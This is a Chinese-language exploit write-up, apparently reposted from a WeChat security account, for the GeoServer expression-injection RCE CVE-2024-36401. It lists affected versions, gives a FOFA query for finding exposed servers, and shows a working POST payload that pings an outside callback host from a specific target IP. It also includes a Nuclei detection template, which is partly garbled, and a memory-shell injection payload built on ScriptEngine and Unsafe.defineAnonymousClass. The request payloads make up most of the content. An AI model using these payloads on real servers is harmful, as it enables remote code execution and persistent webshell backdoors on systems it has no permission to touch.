一、漏洞描述
影响范围
2.25.0 <= GeoServer < 2.25.2
2.24.0 <= GeoServer < 2.24.4
GeoServer < 2.23.6
二、网络测绘
fofa:
app="GeoServer"
三、漏洞复现
使用dnslog测试
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: 163.172.180.129:8082
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
</wfs:GetPropertyValue>
四、Nuclei 检测POC
id: GeoServer_property_RCE
info:
name: GeoServer_property_RCE
author: hamal
severity: high
description: GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)
reference:
https://
tags: 微信公众号(实战安全研究)
http:
raw:
|-
POST /geoserver/wfs HTTP/1.1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 :
gzip, deflate, br :
Accept: */*
Connection: close
Host: {{Hostname}}
en-US;q=0.9,en;q=0.8 :
max-age=0 :
application/xml :
356 :
GetPropertyValue service='WFS' version='2.0.0' :
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
Query typeNames='sf:archsites'/> :
valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference> :
GetPropertyValue> :
and :
matchers:
type: word
part: body
words:
java.lang.ClassCastException
五、内存注入POC
使用jmg工具生成内存马
注入内存马
测试连接成功
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: 163.172.180.129:8082
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 20383
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="内存马poc";
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>
原文始发于微信公众号(实战安全研究):漏洞复现 | GeoServer property 表达式注入【附内存马poc】
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论